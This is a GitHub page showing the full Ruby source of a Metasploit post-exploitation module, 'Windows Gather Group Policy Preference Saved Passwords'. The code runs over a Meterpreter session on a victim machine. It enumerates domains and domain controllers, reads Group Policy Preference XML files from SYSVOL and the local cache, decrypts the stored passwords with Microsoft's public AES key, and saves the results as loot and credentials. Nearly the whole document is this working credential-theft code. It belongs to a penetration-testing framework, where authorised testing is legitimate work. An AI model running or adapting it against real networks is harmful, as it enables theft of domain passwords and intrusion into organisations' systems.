-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
gpp.rb
408 lines (345 loc) · 13.1 KB
/
gpp.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::File
include Msf::Post::Windows::ExtAPI
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
include Msf::Post::Windows::NetAPI
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
'Description' => %q{
This module enumerates the victim machine's domain controller and
connects to it via SMB. It then looks for Group Policy Preference XML
files containing local user accounts and passwords and decrypts them
using Microsofts public AES key.
Cached Group Policy files may be found on end-user devices if the group
policy object is deleted rather than unlinked.
Tested on WinXP SP3 Client and Win2k8 R2 DC.
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell',
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
'theLightCosine',
'mubix' # domain/dc enumeration code
],
'References' => [
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],
['MSB', 'MS14-025']
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
extapi_adsi_domain_query
]
}
}
)
)
register_options([
OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),
OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
OptString.new('DOMAINS', [false, 'Enumerate list of space separated domains DOMAINS="dom1 dom2".'])
])
end
def run
group_path = 'MACHINE\\Preferences\\Groups\\Groups.xml'
group_path_user = 'USER\\Preferences\\Groups\\Groups.xml'
service_path = 'MACHINE\\Preferences\\Services\\Services.xml'
printer_path = 'USER\\Preferences\\Printers\\Printers.xml'
drive_path = 'USER\\Preferences\\Drives\\Drives.xml'
datasource_path = 'MACHINE\\Preferences\\Datasources\\DataSources.xml'
datasource_path_user = 'USER\\Preferences\\Datasources\\DataSources.xml'
task_path = 'MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'
task_path_user = 'USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'
domains = []
basepaths = []
fullpaths = []
print_status 'Checking for group policy history objects...'
all_users = get_env('%ALLUSERSPROFILE%')
unless all_users.include? 'ProgramData'
all_users = "#{all_users}\\Application Data"
end
cached = get_basepaths("#{all_users}\\Microsoft\\Group Policy\\History", true)
unless cached.blank?
basepaths << cached
print_good 'Cached Group Policy folder found locally'
end
print_status 'Checking for SYSVOL locally...'
system_root = expand_path('%SYSTEMROOT%')
locals = get_basepaths("#{system_root}\\SYSVOL\\sysvol")
unless locals.blank?
basepaths << locals
print_good 'SYSVOL Group Policy Files found locally'
end
# If user supplied domains this implicitly cancels the ALL flag.
if datastore['ALL'] && datastore['DOMAINS'].blank?
print_status 'Enumerating Domains on the Network...'
domains = enum_domains
domains.reject! { |n| n == 'WORKGROUP' || n.to_s.empty? }
end
# Add user specified domains to list.
unless datastore['DOMAINS'].blank?
if datastore['DOMAINS'].match(/\./)
print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'."
return
end
user_domains = datastore['DOMAINS'].split(' ')
user_domains = user_domains.map(&:upcase)
print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..."
user_domains.each { |ud| domains << ud }
end
# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.
# If user supplied domains we do not wish to enumerate registry retrieved domains.
if locals.blank? && user_domains.blank?
print_status 'Enumerating domain information from the local registry...'
domains << get_domain_reg
end
domains.flatten!
domains.compact!
domains.uniq!
# Dont check registry if we find local files.
cached_dc = get_cached_domain_controller if locals.blank?
domains.each do |domain|
dcs = enum_dcs(domain)
dcs = [] if dcs.nil?
# Add registry cached DC for the test case where no DC is enumerated on the network.
if !cached_dc.nil? && (cached_dc.include? domain)
dcs << cached_dc
end
next if dcs.blank?
dcs.uniq!
tbase = []
dcs.each do |dc|
print_status "Searching for Policy Share on #{dc}..."
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
# If we got a basepath from the DC we know that we can reach it
# All DCs on the same domain should be the same so we only need one
next if tbase.blank?
print_good "Found Policy Share on #{dc}"
basepaths << tbase
break
end
end
basepaths.flatten!
basepaths.compact!
print_status 'Searching for Group Policy XML Files...'
basepaths.each do |policy_path|
fullpaths << find_path(policy_path, group_path)
fullpaths << find_path(policy_path, group_path_user)
fullpaths << find_path(policy_path, service_path)
fullpaths << find_path(policy_path, printer_path)
fullpaths << find_path(policy_path, drive_path)
fullpaths << find_path(policy_path, datasource_path)
fullpaths << find_path(policy_path, datasource_path_user)
fullpaths << find_path(policy_path, task_path)
fullpaths << find_path(policy_path, task_path_user)
end
fullpaths.flatten!
fullpaths.compact!
fullpaths.each do |filepath|
tmpfile = gpp_xml_file(filepath)
parse_xml(tmpfile) if tmpfile
end
end
def get_basepaths(base, cached = false)
locals = []
begin
session.fs.dir.foreach(base) do |sub|
next if sub =~ /^(\.|\.\.)$/
# Local GPO are stored in C:\Users\All Users\Microsoft\Group
# Policy\History\{GUID}\Machine\etc without \Policies
if cached
locals << "#{base}\\#{sub}\\"
else
tpath = "#{base}\\#{sub}\\Policies"
begin
session.fs.dir.foreach(tpath) do |sub2|
next if sub2 =~ /^(\.|\.\.)$/
locals << "#{tpath}\\#{sub2}\\"
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Could not access #{tpath} : #{e.message}"
end
end
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Error accessing #{base} : #{e.message}"
end
return locals
end
def find_path(path, xml_path)
xml_path = "#{path}#{xml_path}"
begin
return xml_path if exist? xml_path
rescue Rex::Post::Meterpreter::RequestError
# No permissions for this specific file.
return nil
end
end
def adsi_query(domain, adsi_filter, adsi_fields)
return '' unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY)
query_result = session.extapi.adsi.domain_query(domain, adsi_filter, 255, 255, adsi_fields)
if query_result[:results].empty?
return '' # adsi query failed
else
return query_result[:results]
end
end
def gpp_xml_file(path)
data = read_file(path)
spath = path.split('\\')
retobj = {
dc: spath[2],
guid: spath[6],
path: path,
xml: data
}
if spath[4] == 'sysvol'
retobj[:domain] = spath[5]
else
retobj[:domain] = spath[4]
end
adsi_filter_gpo = "(&(objectCategory=groupPolicyContainer)(name=#{retobj[:guid]}))"
adsi_field_gpo = ['displayname', 'name']
gpo_adsi = adsi_query(retobj[:domain], adsi_filter_gpo, adsi_field_gpo)
unless gpo_adsi.empty?
gpo_name = gpo_adsi[0][0][:value]
gpo_guid = gpo_adsi[0][1][:value]
retobj[:name] = gpo_name if retobj[:guid] == gpo_guid
end
return retobj
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
return nil
end
def parse_xml(xmlfile)
mxml = xmlfile[:xml]
print_status "Parsing file: #{xmlfile[:path]} ..."
filetype = File.basename(xmlfile[:path].gsub('\\', '/'))
results = Rex::Parser::GPP.parse(mxml)
tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])
tables.each do |table|
table << ['NAME', xmlfile[:name]] if xmlfile.member?(:name)
print_good " #{table}\n\n"
end
results.each do |result|
if datastore['STORE']
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', session, xmlfile[:xml], filetype, xmlfile[:path])
print_good("XML file saved to: #{stored_path}")
print_line
end
report_creds(result[:USER], result[:PASS], result[:DISABLED])
end
end
def report_creds(user, password, _disabled)
service_data = {
address: session.session_host,
port: 445,
protocol: 'tcp',
service_name: 'smb',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: user,
private_data: password,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
def enum_domains
domains = []
results = net_server_enum(SV_TYPE_DOMAIN_ENUM)
if results
results.each do |domain|
domains << domain[:name]
end
domains.uniq!
print_status("Retrieved Domain(s) #{domains.join(', ')} from network")
end
domains
end
def enum_dcs(domain)
hostnames = nil
# Prevent crash if FQDN domain names are searched for or other disallowed characters:
# http://support.microsoft.com/kb/909264 \/:*?"<>|
if domain =~ %r{[:*?"<>\\/.]}
print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")
return nil
end
print_status("Enumerating DCs for #{domain} on the network...")
results = net_server_enum(SV_TYPE_DOMAIN_CTRL | SV_TYPE_DOMAIN_BAKCTRL, domain)
if results.blank?
print_error("No Domain Controllers found for #{domain}")
else
hostnames = []
results.each do |dc|
print_good "DC Found: #{dc[:name]}"
hostnames << dc[:name]
end
end
hostnames
end
# We use this for the odd test case where a DC is unable to be enumerated from the network
# but is cached in the registry.
def get_cached_domain_controller
subkey = 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\'
v_name = 'DCName'
dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase
print_status "Retrieved DC #{dc} from registry"
return dc
rescue StandardError
print_status('No DC found in registry')
end
def get_domain_reg
locations = []
# Lots of redundancy but hey this is quick!
locations << ['HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\', 'Domain']
locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\', 'DefaultDomainName']
locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\', 'MachineDomain']
domains = []
# Pulls cached domains from registry
domain_cache = registry_enumvals('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\')
if domain_cache
domain_cache.each { |ud| domains << ud }
end
locations.each do |location|
begin
subkey = location[0]
v_name = location[1]
domain = registry_getvaldata(subkey, v_name)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message}"
end
unless domain.blank?
domain_parts = domain.split('.')
domains << domain.split('.').first.upcase unless domain_parts.empty?
end
end
domains.uniq!
print_status "Retrieved Domain(s) #{domains.join(', ')} from registry"
return domains
end
end